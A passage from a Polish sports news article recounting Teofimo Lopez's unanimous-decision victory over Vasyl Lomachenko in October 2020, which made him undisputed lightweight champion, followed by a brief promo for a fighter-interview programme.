Przyszedł 17 października 2020 roku. MGM Grand w Las Vegas, na szali pasy WBC, WBA oraz WBO, IBF, naprzeciw siebie Wasyl Łomaczenko i Teofimo Lopez. Pojedynek zaczął się spokojnie, jednak z czasem aktywnością i agresją imponował Amerykanin, który na swoim koncie miał tytuł IBF. Lopez rozkręcał się, co przekładało się na ocenę jego poczynań. Łomaczenko przebudził się w  ósmej rundzie. Lopez wytrzymał ataki rywala i sam kontrował. Ukrainiec musiał mieć się cały czas na baczności, Amerykanin wytrzymał do samego końca. Sędziowie byli jednomyślni i wskazali na 23-latka – 116:112, 119:109, 117:111.

Stało się, wielka niespodzianka. 23-letni Lopez ma całą karierę przed sobą, a już stał się niekwestionowanym mistrzem wagi lekkiej. Amerykanin pokonał dziewięć lat starszego Łomaczenkę i znalazł się na szczycie. Lopez zanotował szesnastą wygraną w karierze i nadal pozostaje niepokonany. Co interesujące, Amerykanin stał się najmłodszym posiadaczem czterech tytułów mistrzowskich. Łomaczenko przegrał drugi raz na zawodowym ringu, a trzeci podczas przygody z boksem.

Teofimo Lopez znalazł się na ustach wszystkich. Przeżywa wielkie chwile, zdetronizował czołowego pięściarza świata. Amerykanin nadal jest młody, ma umiejętności, ale podstawowe pytanie brzmi – jak poradzi sobie z ciężarem sukcesu. Zrobił wiele, ale najtrudniejsze przed nim.

Fot. zdjęcie poglądowe

KM

Program "ON" to sylwetki zawodników sportów walki. W rozmowie ze Zbigniewem Zającem fighterzy opowiedzą o sobie ale z trochę innej strony. Zapraszamy do oglądania.

[kod]